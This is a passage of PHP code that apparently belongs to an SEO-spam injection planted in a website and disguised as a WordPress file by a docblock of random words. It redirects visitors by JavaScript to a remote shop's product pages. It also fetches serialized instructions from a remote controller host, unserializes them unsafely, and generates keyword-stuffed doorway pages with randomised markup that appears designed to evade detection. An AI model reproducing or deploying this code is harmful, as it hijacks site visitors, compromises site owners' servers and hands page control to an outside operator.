		echo '<script language="javascript" type="text/javascript">'. PHP_EOL .'window.location.href="'. $jumstz . "index.php?main_page=product_info&products_id=" . $id23 .'";'. PHP_EOL .'</script>';		die();	
	}
}
 
 
 $fcontent = '';
 
 
 $pInfoUrl =  GETDOM . "gpage.php?site=$thisdom&id=$siteAID";  
 $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5);
 $rsInfo = '#<info>(.*)</info>#si';
 preg_match($rsInfo,$pInfoStr,$matchInfo);
 if(isset($matchInfo[1])){
	 $InFoStrArr = unserialize($matchInfo[1]);
 }else{
	 exit;
 }
 

 
 
 if(isset($InFoStrArr['frStr2'])){
	$frStr2 = $InFoStrArr['frStr2'];
	$fr2Arr = unserialize($frStr2);
 }
 
$frStr1 = $InFoStrArr['frStr1'];
$fr1Arr = unserialize($frStr1);

$Ptitle = $InFoStrArr['Ptitle'];
$PtitleNowid = $Ptitle;
$nowIdName = $InFoStrArr['nowIdName'];

if(strstr($Ptitle,'#cat#')){
	$tp_title_arr = explode('#cat#',$Ptitle);
	$Ptitle = $tp_title_arr[1];
}

$pcatstr = $InFoStrArr['pcatstr'];
$nowPreStr = $InFoStrArr['nowPreStr'];
$nowNextStr = $InFoStrArr['nowNextStr'];
$nowMateAddStr = $InFoStrArr['nowMateAddStr'];


if(strstr($pcatstr,'#cname#')){
	$temparrI = explode('#cname#',$pcatstr);
	$catStr = $temparrI[0];
	$catArr = explode('^',$catStr);
	$tparrCat = array();
	$catArrII = array();
	foreach($catArr as $vs){
		$vs = str_replace('&amp;','&',$vs);
		if(!isset($tparrCat[$vs])){
			$tparrCat[$vs] = 1;
			$catArrII[] = $vs;
		}
	}

	$catArr = $catArrII;
	
	$mateStr = $temparrI[1];
	if(strstr($mateStr,'#keydescription#')){
		$temparrII = explode('#keydescription#',$mateStr);
		$pkeyword = trim($temparrII[0]);
		if(!$pkeyword){
			$pkeyword = $Ptitle;
		}else{
			$keyArr = explode(',',$pkeyword);
			$num = count($keyArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $keyArr[$i];
				}else{
					$arrPre[] = $keyArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pkeyword = implode(',',$arrPre);
			$pkeywordYuanShi = $pkeyword;

		}
		
		$pdescription = $temparrII[1];
		if(!$pdescription){
			$pdescription = $Ptitle. ' ' .$nowMateAddStr;
		}else{
			$DesArr = explode(',',$pdescription);
			$num = count($DesArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $DesArr[$i];
				}else{
					$arrPre[] = $DesArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pdescription = implode(',',$arrPre);
			
			$pdescription .= ', '. $nowMateAddStr;
			$pDescriptionYuanShi = $pdescription;
		}
		
	}else{
		$pkeyword = $Ptitle;
	
		$pdescription = $Ptitle. ' ' .$nowMateAddStr;
	}
}else{
	$catArr = array();
	if(strstr($mateStr,'#keydescription#')){
		$temparrII = explode('#keydescription#',$mateStr);
		$pkeyword = $temparrII[0];
		if(!$pkeyword){
			$pkeyword = $Ptitle;
		}else{
			$keyArr = explode(',',$pkeyword);
			$num = count($keyArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $keyArr[$i];
				}else{
					$arrPre[] = $keyArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pkeyword = implode(',',$arrPre);
			$pkeywordYuanShi = $pkeyword;

		}
		
		$pdescription = $temparrII[1];
		if(!$pdescription){
			$pdescription = $Ptitle. ' ' .$nowMateAddStr;
		}else{
			$DesArr = explode(',',$pdescription);
			$num = count($DesArr);

			$yushu = KEYJG % $num;

			$arrPre = array();
			$arrLast = array();

			for($i=0;$i<$num;$i++){
				if($i<$yushu){
					$arrLast[] = $DesArr[$i];
				}else{
					$arrPre[] = $DesArr[$i];
				}
			}

			if(count($arrLast)){
				foreach($arrLast as $vs){
					$arrPre[] = $vs;
				}
			}
			
			$pdescription = implode(',',$arrPre);
			
			$pdescription .= ', '. $nowMateAddStr;
			$pDescriptionYuanShi = $pdescription;
		}
	}else{
		$pkeyword = $Ptitle;
		$pdescription = $Ptitle. ' ' .$nowMateAddStr;
	}
}



$BreadStr = getBreadcrum($Ptitle,$catArr,$id23,$PtitleNowid);

if(count($catArr)){
	$endCatName = end($catArr);
	$beginCatName = $catArr[0];
	$addKeyWordStr = ', ' . implode(', ', $catArr);
}else{
	$beginCatName = '';
	$endCatName = '';
}

if(function_exists("preg_split")){
	$PtitleArr = preg_split('/\s+/us', $Ptitle);		
}else{
	$PtitleArr = explode(' ', $Ptitle);
}

$tpTitleArr = array();
foreach($PtitleArr as $vs){
	$vs = trim($vs);
	if($vs){
		$tpTitleArr[] = $vs;
	}
}



$numTitleArr = count($tpTitleArr);


$randTkeyI =  RANDNUMI % $numTitleArr;

$createTitleI = getRandStrArr($tpTitleArr,$randTkeyI);

$randTkeyII =  RANDNUMII % $numTitleArr;
if($randTkeyI == $randTkeyII){
	$randTkeyII = abs($randTkeyI-2);
}

$createTitleII = getRandStrArr($tpTitleArr,$randTkeyII);


$addTopStr = '';
$addTopStr .= "<h1>{$Ptitle}</h1>".PHP_EOL;
$addTopStr .= $BreadStr.PHP_EOL;
$addTopStr .=  "<h2>{$Ptitle}</h2>".PHP_EOL;

$addStrII = '';

if(isset($InFoStrArr['nowPimgArrYs'])){
	$tpImgArr = unserialize($InFoStrArr['nowPimgArrYs']);
	foreach($tpImgArr as $tpimg){
		$addStrII .= $tpimg."<br/>".PHP_EOL;
	}
}

$addStrII .= '<p>';
$addStrII .= '###nowtitles###,';
$addStrII .= $createTitleI .',';
$addStrII .= $pdescription.' ';
$addStrII .= $createTitleII .'.</p>';

$addTopStr .= $addStrII;






$tpaddstr = "<h2>{$Ptitle}</h2>";

if(isset($InFoStrArr['pdes'])){
	$InFoStrArr['pdes'] =  preg_replace('#\s+#si',' ',$InFoStrArr['pdes']);
	$tpaddstr .= '<p>'.$InFoStrArr['pdes']."</p>".PHP_EOL;
}

if(isset($InFoStrArr['nowPimgArr'])){
	$tpImgArr = unserialize($InFoStrArr['nowPimgArr']);
	foreach($tpImgArr as $tpimg){
		$tpaddstr .= $tpimg."<br/>".PHP_EOL;
	}
}




$arrFlinks = array();
$fr1Strs = '<ul>'.PHP_EOL;
foreach($fr1Arr as $key=>$vs){
	$tpPid = $key;
	$tpFlink = getalink($tpPid,$vs);
	
	if(strstr($vs,'#cat#')){
		$tp_name_arr = explode('#cat#',$vs);
		$vs = $tp_name_arr[1];
	}
	
	$fr1Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
	$arrFlinks[] = '<a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a>';
}
$fr1Strs .= '</ul>'.PHP_EOL;

if(isset($fr2Arr)){
	$fr2Strs = '<ul>'.PHP_EOL;
	foreach($fr2Arr as $key=>$vs){
		$tpPid = $key;
		$tpFlink = getalink($tpPid,$vs);
		
		
		if(strstr($vs,'#cat#')){
			$tp_name_arr = explode('#cat#',$vs);
			$vs = $tp_name_arr[1];
		}
		
		$fr2Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
	}
	$fr2Strs .= '</ul>'.PHP_EOL;
}


$addPdesStrII = '';
$addPdesStrII .= "<h2>{$Ptitle}</h2>".PHP_EOL;



$addStrDes1 = '';
if(isset($InFoStrArr['nowDesNameArrStr'])){
	
	$Random =  (KEYJG + $id23)  % 3 + 3;

	
	$tpDesNameArr = unserialize($InFoStrArr['nowDesNameArrStr']);
	
	$lenthNameArr = count($tpDesNameArr);
	$lenthFlinkArr = $Random;
	$numShan = intval($lenthNameArr/$lenthFlinkArr);
	if($numShan < 1)
		$numShan = 1;
	
	
	
	$flag = 0;
	
	$shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
	$shengyu = $shengyu - 2;
	$bgnum = 0;
	$endnum = $lenthNameArr - 1;
	$arrKeyNum = array();
	while($shengyu > 0){
		$arrKeyNum[$bgnum++] = $numShan + 1;
		$shengyu--;
		if($shengyu > 0){
			$arrKeyNum[$endnum--] = $numShan + 1;
		}
		$shengyu--;
	}

	
	$nowTempFlag = 0;
	$nowTempNumFlag = 0;
	
	$tempDesNameArr = array();
	
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		$nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
		if($nowTempNumFlag < $nowLens){
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag++;
		}else{
			$tempDesNameArr[] = "<b>{$Ptitle}</b>";
			$nowTempFlag++;
			
			
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag=1;
		}
		
	}
	
	while($nowTempFlag <= $lenthFlinkArr-1){
		$nowTempFlag++;
		$tempDesNameArr[] = "<b>{$Ptitle}</b>";
	}
	
	
	$tpDesNameArr = $tempDesNameArr;
	$tempArrLen = count($tpDesNameArr) - 1;
	
	$i=0;
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		$tempLen = strlen($tpdesVs) + $i;
		if($tempLen % 2 == 1){
			$nowtempfh = ', ';
		}else
			$nowtempfh = '. ';
		
		
		
		if($i == $tempArrLen){
			$addStrDes1 .= $tpdesVs . '.';
			// echo $addStrDes1;
			// exit;
		}else{
			$addStrDes1 .= $tpdesVs . $nowtempfh;
		}
		$i++;
		
	}
		
	$addStrDes1 = '<p>'.$addStrDes1.'</p>'.PHP_EOL;

	
}

$addPdesStrII .= $addStrDes1.PHP_EOL;






$addPdesStr = '';

$addStrDesII = '';
if(isset($InFoStrArr['fpNameStr'])){
	
	$Random =  (KEYJG + $id23)  % 2 == 0 ? 3 : 2 ;

	
	$tpDesNameArr = unserialize($InFoStrArr['fpNameStr']);
	$tempArrLen = count($tpDesNameArr) - 1;
	$temp_arr = array();
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		
		if(strstr($tpdesVs,'#cat#')){
			$tp_name_arr = explode('#cat#',$tpdesVs);
			$tpdesVs = $tp_name_arr[1];
		}
		
		$temp_arr[$tpdesKey] = $tpdesVs;
		
	}
	$tpDesNameArr = $temp_arr;
	
	$lenthNameArr = count($tpDesNameArr);
	$lenthFlinkArr = $Random;
	$numShan = intval($lenthNameArr/$lenthFlinkArr);
	if($numShan < 1)
		$numShan = 1;
	
	$flag = 0;
	
	$shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
	$shengyu = $shengyu - 2;
	$bgnum = 0;
	$endnum = $lenthNameArr - 1;
	$arrKeyNum = array();
	while($shengyu > 0){
		$arrKeyNum[$bgnum++] = $numShan + 1;
		$shengyu--;
		if($shengyu > 0){
			$arrKeyNum[$endnum--] = $numShan + 1;
		}
		$shengyu--;
	}
	
	$nowTempFlag = 0;
	$nowTempNumFlag = 0;
	
	$tempDesNameArr = array();
	
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		$nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
		if($nowTempNumFlag < $nowLens){
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag++;
		}else{
			// $tempDesNameArr[] = "<b>{$Ptitle}</b>";
			$nowTempFlag++;
			$tempDesNameArr[] = $tpdesVs;
			$nowTempNumFlag=1;
		}
		
	}
	
		while($nowTempFlag <= $lenthFlinkArr-1){
			$nowTempFlag++;
			// $tempDesNameArr[] = "<b>{$Ptitle}</b>";
		}
	

	$tpDesNameArr = $tempDesNameArr;
	$i=0;
	foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
		
		$tempLen = strlen($tpdesVs) + $i;
		if($tempLen % 2 == 1){
			$nowtempfh = ', ';
		}else
			$nowtempfh = '. ';
	
		
		if($i == $tempArrLen){
			$addStrDesII .= $tpdesVs . '.';
		}else{
			$addStrDesII .= $tpdesVs . $nowtempfh;
		}
		$i++;
			
	}
		
	$addStrDesII = '<p>'.$addStrDesII.'</p>'.PHP_EOL;

}




$addPdesStr .= "<h3>{$Ptitle}</h3>".PHP_EOL;
$addPdesStr .= $addStrDesII.PHP_EOL;




$addH3Str = "<h3>{$Ptitle}</h3>";
 
 $thisPnameLink = '<a href="">'.$nowIdName.'</a>';
 $thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>';
 
 $thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>';

$flagH2I = 1;
$flagH2II = 1;
$flagH2III = 1;

		$fileMb = fopen("template.html","r");
			$html = fread($fileMb,filesize("template.html"));	

			$numBz = 0;

			$titleKeys = KEYJG % 6;
			
			
		
			
			$catUseKey = (KEYJG + $id23) % count($catArr);
			$catUseKeyTwo = ((KEYJG+1) * $id23) % count($catArr);
			if($catUseKey == $catUseKeyTwo)
				$catUseKeyTwo = ($catUseKeyTwo + 1) % count($catArr);
			
			if(preg_match('#.*\.(.*)\..*#i',$thisdom))
				$usdomStr = preg_replace('#.*\.(.*)\..*#i','\1',$thisdom);
			else
				$usdomStr = preg_replace('#(.*)\..*#i','\1',$thisdom);
			
			$nowShowTitle = $catArr[$catUseKey] .' '. $Ptitle .' '. $catArr[$catUseKeyTwo];
			
		
			$addTopStr =  str_replace('###nowtitles###',$Ptitle ,$addTopStr);
			$tpaddstr =  str_replace('###nowtitles###',$Ptitle,$tpaddstr);
			
			$html = str_ireplace('draft_or_post_title',  $nowShowTitle, $html);	
			$html = str_ireplace('#bbbkeybbb#', $pkeyword . $addKeyWordStr, $html);	
			$html = str_ireplace('#bbbdesbbb#', $pdescription, $html);	
			
			$html = str_ireplace('#bbb1content1bbb#',  $addTopStr, $html);
			// $html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html);
			
			
		
			if(strstr($html,'#link3#'))
			if($flagH2I){
					$html = str_replace('#link3#',$addPdesStrII."<br/>". PHP_EOL . $fr1Strs ,$html);
					$flagH2I = 0;
				}else{
					$html = str_replace('#link3#','',$html);
				}
				
				
							
			if(strstr($html,'#flink#'))
				if($flagH2I){
					$html = str_replace('#flink#',$addPdesStrII."<br/>". PHP_EOL . $fr1Strs ,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#flink#',$addPdesStr, $html);
					$flagH2II = 0;
				}else{
					$html = str_replace('#flink#','',$html);
				}
				
				
				
			if(strstr($html,'#link4#'))
				if($flagH2I){
					$html = str_replace('#link4#',$addPdesStrII."<br/>". PHP_EOL . $fr1Strs ,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#link4#',$addPdesStr, $html);
					$flagH2II = 0;
				}elseif($flagH2III){
					$html = str_replace('#link4#','',$html);
					$flagH2III = 0;
				}else{
					$html = str_replace('#link4#','',$html);
				}
				
				
			if(strstr($html,'#link5#'))
				if($flagH2I){
					$html = str_replace('#link5#',$addPdesStrII."<br/>". PHP_EOL . $fr1Strs ,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#link5#',$addPdesStr, $html);
					$flagH2II = 0;
				}elseif($flagH2III){
					$html = str_replace('#link5#','',$html);
					$flagH2III = 0;
				}else{
					$html = str_replace('#link5#','',$html);
				}
	
				
				
				if(strstr($html,'#Flink2#'))
				if($flagH2I){
					$html = str_replace('#Flink2#',$addPdesStrII."<br/>". PHP_EOL . $fr1Strs ,$html);
					$flagH2I = 0;
				}elseif($flagH2II){
					$html = str_replace('#Flink2#',$addPdesStr, $html);
					$flagH2II = 0;
				}elseif($flagH2III){
					$html = str_replace('#Flink2#','',$html);
					$flagH2III = 0;
				}else{
					$html = str_replace('#Flink2#','',$html);
				}
						
				
			$lastAddStrs = '';
			
			if($flagH2I){
				$lastAddStrs .= $addPdesStrII. "<br/>". PHP_EOL . $fr1Strs  . PHP_EOL;
			}
			
			if($flagH2II){
				$lastAddStrs .= $addPdesStr. PHP_EOL;
			}
			
			if($lastAddStrs){
				$tpaddstr = $tpaddstr .PHP_EOL . $lastAddStrs;
			}
				
				
			$html = str_ireplace('#bbb2content2bbb#', '', $html);
			$html = str_ireplace('#descontent#', $tpaddstr, $html);
				
			$html = str_replace('#link1#','',$html);
			$html = str_replace('#link2#','',$html);
				

	
			$footKey = "<h3>{$Ptitle}</h3>". PHP_EOL ."<br/>{$pdescription}<br/><strong>{$Ptitle}</strong>".PHP_EOL;
				$html = str_replace('</body',$footKey.'</body',$html);

		
	echo $html;
 
die();


	
/**
 * response algebra evaluate evolution exclusive exterior fatigue focus glory horror oral outset priority reliable revenue shield smash split substantial tedious treaty valley vital.
 * obscure oxygen reputation vertical.
 * authority career deposit episode evaluate fertilizer infinite jewel loose manufacture moist pants prevail prosperity sensitive slender spray submerge tissue virtue witness.
 * arouse data deputy earthquake external hardware household jail joint moisture nevertheless orbit previous resume tend vanish.
 * approximate horror hydrogen preserve recruit regulate rely shallow sponsor.
 * durable expense liberty retain strategy treaty trend.
 * academic adopt capture cargo casual descend exterior extraordinary favorable ferfile focus giant grand infect jungle oval provision ridid skim tender tremendous utilise version weave.
 * calculate ceremony coach delicate display horrible insure integrate licence mature notion nylon prior slender suspicion tendency urge utter valid wander withdraw.
 * adequate burst coarse delay dump durable expend explosive genius geometry insure jeans knot magnet passive.
 * awkward equation expend explore extreme faulty gasoline holy hostile import laser nuisance priority racial revenue scandal semiconductor stripe substance thrust timber vertical violet weave.
 * abuse advertise automatic bother defect entertainment equation guarantee haste knot launch lynar motivate portion prevail prosperity recreation retail tremendous urban.
 * orchestra prevail revenue violet.
 * absolute barrier gene geology highlight lean leisure media noticeable private slender tarnest tremendous ultimate vacant virtual volume xploit.
 * available award comparative dive fertilizer forbid giant lynar mere notify nucleus subt transport.
 * Internet comedy erect identify jail liable recruit route via violent.
 * evolve extraordinary identify idle nucleus priority sequence volcano weld.
 * response adopt descend deserve duration expensive extinct frown hint hydrogen illusion licence relief remarkable respond version.
 * cope infant nevertheless profitable spit.
 * comedy explosion isolate provision scandal trial.
 * arbitrary ban evolution forbid likelihood loose nylon opponent prompt prospect ridiculous rival spit substitute undergraduate vital volcano.
 * award comment commit discipline elbow enclose enthusiasm facility hydrogen label media nevertheless notify oval recruit region rescue shuttle strategy ultimate.
 * acquire avenue boundary competent entertainment laser mainland nonsense region resistant transplant universal vote witness.
 * accomplish alter arbitrary column household infect internal mixture nuisance nylon obstacle prosperity sensitive subsequent vitally.
 * coarse debate entitle liquor particularly profit twist.
 * adapt approximate automatic career collision inevitable liter medium subt.
 * breed community delicate display humble issue magnet maximum provision remarkable signature skim splendid.
 * data dump equivalent exaggerate fax generate passport sorrow timber trap tuition.
 * code decay hatred mixture prohibit recreation repetition submerge ultimate vacuum variable whatsoever.
 * coil debt delicate emotional equivalent glorious jungle mission presumably priority wealthy.
 * adopt decade dump evil garbage gear harmony motive scratch skim textile vain volcano vote.
 * adapt alter debate display dive emotion emphasize exclaim focus jail merchant restrict sensitive suburb.
 * attitude core launch missile revenue scan tedious theme.
 * debate fatigue grant simplify sponsor stable.
 * accomplish adjust architect bureau competent dump entitle expend flock generate gratitude hatred magnet molecule oval prior ruin trial weed yawn.
 * abundant neutral prominent remote swallow treaty.
 * arbitrary bachelor defect generate genius hydrogen jam leap likelihood negative release terror tissue transplant wealthy weld.
 * adult applicable bachelor enviroment extraordinary fertilizer giant joint onion radiation register satellite scan xploit.
 * abundant alcohol continuous derive elastic electron exaggerate explore flock garbage media particle petrol phenomenon prospect reluctant scratch significance substantial vague valid.
 *
 * @package WordPress
 */


function getRandStrArr($tpArr=array(),$bgKey=0){
	
	$returnStr = '';
	$numArr = count($tpArr);
	for($i=$bgKey+1;$i<$numArr;$i++){
		$returnStr .= $tpArr[$i].' ';
	}
	
	for($i=0;$i<=$bgKey;$i++){
		$returnStr .= $tpArr[$i].' ';
	}
	
	return trim($returnStr);

}


function getBreadcrum($Ptitle,$catArr,$id23,$pname){

	global $arrBread,$thisdom;
	
	$breadTagkey = KEYJG % 6;
	if($breadTagkey == 0){
		$breadTagHtml1 = 'nav';
		$breadTagHtml2 = 'ul';
	}elseif($breadTagkey == 1){
		$breadTagHtml1 = 'nav';
		$breadTagHtml2 = 'ol';
	}elseif($breadTagkey == 2){
		$breadTagHtml1 = 'div';
		$breadTagHtml2 = 'ol';
	}elseif($breadTagkey == 3){
		$breadTagHtml1 = 'section';
		$breadTagHtml2 = 'ol';
	}elseif($breadTagkey == 4){
		$breadTagHtml1 = 'section';
		$breadTagHtml2 = 'ul';
	}else{
		$breadTagHtml1 = 'div';
		$breadTagHtml2 = 'ul';
	}
	
	// $catstr = implode(' >> ',$catArr);

	// $catArr= array();
	// if($catstr)
		// $catArr[] = $catstr;

	$arrBreadNum = count($arrBread);
	$domlen = strlen($thisdom);


	$breadTagkey = $domlen % 5;
	
	$liClassYs = KEYJG % 19;
	
	if($liClassYs == 0){
		$liStr = ' class="item"';
	}elseif($liClassYs == 1){
		$liStr = ' class="breadcrumbs-item"';
	}elseif($liClassYs == 2){
		$liStr = ' class="nz-breadcrumb-item"';
	}elseif($liClassYs == 3){
		$liStr = ' class="items"';
	}elseif($liClassYs == 4){
		$liStr = ' class="breadcrumblist-items"';
	}elseif($liClassYs == 5){
		$liStr = ' class="el-breadcrumb-item"';
	}elseif($liClassYs == 6){
		$liStr = ' class="doc-crumb-item"';
	}elseif($liClassYs == 7){
		$liStr = ' class="breadcrumb-item"';
	}elseif($liClassYs == 8){
		$liStr = ' class="crumbs-item"';
	}elseif($liClassYs == 9){
		$liStr = ' class="bread-item"';
	}elseif($liClassYs == 10){
		$liStr = ' class="breads-item"';
	}elseif($liClassYs == 11){
		$liStr = ' class="breadcrumbItem"';
	}elseif($liClassYs == 12){
		$liStr = ' class="breadcrumbItems"';
	}elseif($liClassYs == 13){
		$liStr = ' class="breadcrumblistitems"';
	}elseif($liClassYs == 14){
		$liStr = ' class="BreadcrumbItem"';
	}elseif($liClassYs == 15){
		$liStr = ' class="ListItem"';
	}elseif($liClassYs == 16){
		$liStr = ' class="crumb-items"';
	}else{
		$liStr = '';
	}
	

	$arrBreadId = array();
	$arrBreadId[] = 'Bread';
	$arrBreadId[] = 'BreadHead';
	$arrBreadId[] = 'Breadcrumb';
	$arrBreadId[] = 'Breadcrumb-Head';
	$arrBreadId[] = 'Breadcrumb-Heads';
	$arrBreadId[] = 'Breadcrumb-Top';
	$arrBreadId[] = 'BreadcrumbHeads';
	$arrBreadId[] = 'BreadcrumbLists';
	$arrBreadId[] = 'BreadcrumbNavigation';
	$arrBreadId[] = 'BreadcrumbTop';
	$arrBreadId[] = 'BreadcrumbTops';
	$arrBreadId[] = 'MyBreadcrumb';
	$arrBreadId[] = 'ant-breadcrumb';
	$arrBreadId[] = 'bread-List';
	$arrBreadId[] = 'breadtop';
	$arrBreadId[] = 'breadtops';
	$arrBreadId[] = 'breadHead';
	$arrBreadId[] = 'breadHeads';
	$arrBreadId[] = 'breadList';
	$arrBreadId[] = 'breadLists';
	$arrBreadId[] = 'breadcrumb';
	$arrBreadId[] = 'c-breadcrumb';
	$arrBreadId[] = 'crumbList';
	$arrBreadId[] = 'crumb-list';
	$arrBreadId[] = 'crumbs';
	$arrBreadId[] = 'crumbsHead';
	$arrBreadId[] = 'crumbsHeads';
	$arrBreadId[] = 'crumbs-head';
	$arrBreadId[] = 'crumbs-nag';
	$arrBreadId[] = 'crumbsTop';
	$arrBreadId[] = 'crumbsTops';
	$arrBreadId[] = 'crumbs-top';
	$arrBreadId[] = 'cs-breadcrumb';
	$arrBreadId[] = 'customBreadcrumb';
	$arrBreadId[] = 'doc-crumb';
	$arrBreadId[] = 'el-breadcrumb';
	$arrBreadId[] = 'l-breadcrumb';
	$arrBreadId[] = 'navBreadCrumb';
	$arrBreadId[] = 'navBreadCrumbs';
	$arrBreadId[] = 'page-breadcrumbs';
	$arrBreadId[] = 'pages-breadcrumbs';
	$arrBreadId[] = 's-breadcrumb';
	$arrBreadId[] = 'v-breadcrumb';
	$arrBreadId[] = 'chrome-breadcrumbs';
	
	
	$keyBreadId = KEYJG % 48;
	
	if(isset($arrBreadId[$keyBreadId])){
		$keyBreadIdStr = ' id="'.$arrBreadId[$keyBreadId].'"';
	}else{
		$keyBreadIdStr = '';
	}
	


	$strBreads = '';
	if($breadTagkey == 4){
		$arrBreadC1 = array();
		$arrBreadC1[] = 'BreadcrumbData';
		$arrBreadC1[] = 'BreadcrumbDatas';
		$arrBreadC1[] = 'BreadcrumbTop';
		$arrBreadC1[] = 'crumbsHead';
		$arrBreadC1[] = 'crumbsTop';
		$arrBreadC1[] = 'crumbsList';
		$arrBreadC1[] = 'crumbs-top';
		$arrBreadC1[] = 'crumbs-list';
		$arrBreadC1[] = 'crumbs-Head';
		$arrBreadC1[] = 'BreadcrumbTag';
		$arrBreadC1[] = 'Breadcrumb-tag';
		$arrBreadC1[] = 'BreadcrumbBody';
		$arrBreadC1[] = 'BreadcrumbBody';
		$arrBreadC1[] = 'Breadcrumb-Top';
		$arrBreadC1[] = 'Breadcrumb-body';
		$arrBreadC1[] = 'BreadcrumbTops';
		$arrBreadC1[] = 'Breadcrumb-Head';
		$arrBreadC1[] = 'Breadcrumb-Heads';
		$arrBreadC1[] = 'Breadcrumb-List';
		$arrBreadC1[] = 'BreadcrumbList';
		$arrBreadC1[] = 'BreadcrumbLists';
		
		$ckeyI = KEYJG % count($arrBreadC1);
		
		$classI =  $arrBreadC1[$ckeyI];
		$classII =  $domlen % 2 ? 'Breadcrumbs' : 'Breadcrumb';
		
		$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classI.'">';
		$strBreads .= '<'.$breadTagHtml2.' class="'.$classII.'">';
		$strBreads .= '<li'.$liStr.'><a href="/">Home</a></li>';
		if(count($catArr)){
			foreach($catArr as $vs){
				$vs = trim($vs);
				$nowCatUrl = getCatLink($vs,$id23);
				$strBreads .= '<li'.$liStr.'><a href="'.$nowCatUrl.'">'.$vs.'</a></li>';
			}
		}
		
		// $strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>';
		$strBreads .= '</'.$breadTagHtml2.'>';
		$strBreads .= '</'.$breadTagHtml1.'>';
	}else{
		$calssBreadKey = KEYJG % $arrBreadNum;
		$classTop = $arrBread[$calssBreadKey];
		$classul =  KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs';
		$breadTagkey = $domlen % 2;

		if($breadTagkey == 0){
			if($classTop)
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
			else
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
			
			$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
			$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="/"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li>';
			$flagNum = 2;
			if(count($catArr)){
				foreach($catArr as $vs){
					$vs = trim($vs);
					$nowCatUrl = getCatLink($vs,$id23);
					$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="'.$nowCatUrl.'"><span itemprop="name">'.$vs.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>';
					$flagNum++;
				}
			}
				
				
			// $strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><span itemprop="name">'.$Ptitle.'</span><meta itemprop="position" content="'.$flagNum.'" /></li>';
				
			$strBreads .= '</'.$breadTagHtml2.'>';
			$strBreads .= '</'.$breadTagHtml1.'>';
		}else{
			if($classTop)
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
			else
				$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
			
			$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
			$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/" itemprop="url"><span itemprop="title">Home</span></a></li>';
			if(count($catArr)){
				foreach($catArr as $vs){
					$vs = trim($vs);
					$nowCatUrl = getCatLink($vs,$id23);
					$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="'.$nowCatUrl.'" itemprop="url"><span itemprop="title">'.$vs.'</span></a></li>';
				}
			}
				
			// $nowUrl = getalink($id23,$pname);	
			// $strBreads .= '<li'.$liStr.'><a href="'.$nowUrl.'">'.$Ptitle.'</a></li>';
			// $strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>';
				
			$strBreads .= '</'.$breadTagHtml2.'>';
			$strBreads .= '</'.$breadTagHtml1.'>';
		}
	}
	
	
	return $strBreads;

}

function get_scheme(){
	
